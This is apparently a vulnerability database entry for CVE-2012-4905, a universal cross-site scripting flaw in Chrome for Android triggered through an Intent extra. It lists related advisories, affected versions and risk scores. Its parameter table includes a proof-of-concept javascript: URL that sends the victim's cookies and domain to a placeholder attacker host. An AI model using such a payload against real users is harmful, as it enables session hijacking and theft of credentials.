CVE-2012-4905

🗓️ 13 Sep 2012 20:00:00Reported by mitreType

cve🔗 web.nvd.nist.gov👁 48 Views🌐 WEB

Cross-site scripting (XSS) vulnerability in Google Chrome before 18.0.1025308 on Android allows remote attackers to inject arbitrary web script or HTML via an extra in an Intent object, aka "Universal XSS (UXSS).

Reporter	Title	Published	Views	Family All 11
Circl	CVE-2012-4905	12 Sep 201200:00	–	circl
Cvelist	CVE-2012-4905	13 Sep 201220:00	–	cvelist
Debian CVE	CVE-2012-4905	13 Sep 201220:00	–	debiancve
EUVD	EUVD-2012-4830	7 Oct 202500:30	–	euvd
NVD	CVE-2012-4905	13 Sep 201220:55	–	nvd
Packet Storm	Chrome For Android Universal Cross Site Scripting	7 Jan 201300:00	–	packetstorm
Prion	Cross site scripting	13 Sep 201220:55	–	prion
RedhatCVE	CVE-2012-4905	22 May 202502:59	–	redhatcve
securityvulns	Chrome for Android - UXSS via com.android.browser.application_id Intent extra	10 Jan 201300:00	–	securityvulns
securityvulns	Google Chrome for Android multiple security vulnerabilities	10 Jan 201300:00	–	securityvulns

NVD

Node

google chromeRange≤18.0.1025306

AND

google android

Source	Link
code	www.code.google.com/p/chromium/issues/detail
googlechromereleases	www.googlechromereleases.blogspot.com/2012/09/chrome-for-android-update.html

Parameter	Position	Path	Description	CWE
javascript:var e=encodeURIComponent,img=document.createElement('img');img.src='http://attacker/?c='+e(document.cookie)+'&d='+e(document.domain);document.body.appendChild(img);	nested	http://www.google.com/1	POC to inject JavaScript into Chrome via an Android Intent to Chrome, using a javascript: URL loaded in the foreground tab.	CWE-79

29 Apr 2026 01:13Current

4.8Medium risk

Vulners AI Score4.8

CVSS 24.3

EPSS0.00598

CWE-79